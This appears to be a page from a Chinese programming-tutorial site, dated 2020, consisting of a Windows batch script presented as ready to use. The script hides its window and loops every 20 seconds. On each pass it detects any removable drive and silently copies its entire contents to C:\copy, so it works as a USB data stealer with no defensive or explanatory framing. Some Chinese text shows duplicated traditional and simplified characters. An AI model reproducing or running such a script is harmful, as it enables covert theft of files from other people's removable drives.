copy

2020-07-30 11:10 更新

@echo off

title $$$$*晗*晗*制*造*$$$$

mode con: cols=14 lines=1

:again

cls

del /Q /f "%temp%\copy.tmp" >nul 2>nul

for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do @fsutil fsinfo drivetype %%i: >>"%temp%\copy.tmp"

findstr /i "可移動(dòng)驅(qū)動(dòng)器" "%temp%\copy.tmp" 

if errorlevel==1 goto end

if errorlevel==0 goto copy 

:end 

rem 沒有檢測(cè)到可移動(dòng)磁盤!

if not exist %temp%\sleep.exe ping 127.0.0.1 -n 20 >nul 2>nul

%temp%\sleep.exe 20s

goto again

:copy 

if exist c:\copy goto goon

cd\

cd /d c:

md copy  

:goon 

for /f "tokens=1" %%i in ('findstr /i "可移動(dòng)驅(qū)動(dòng)器" "%temp%\copy.tmp"') do (

xcopy /e /y  %%i\*.* c:\copy >nul 2>nul

)

rem 已復(fù)制,請(qǐng)及時(shí)清理文件!

if not exist %temp%\sleep.exe ping 127.0.0.1 -n 20 >nul 2>nul

%temp%\sleep.exe 20s

goto again


以上內(nèi)容是否對(duì)您有幫助:
在線筆記
App下載
App下載

掃描二維碼

下載編程獅App

公眾號(hào)
微信公眾號(hào)

編程獅公眾號(hào)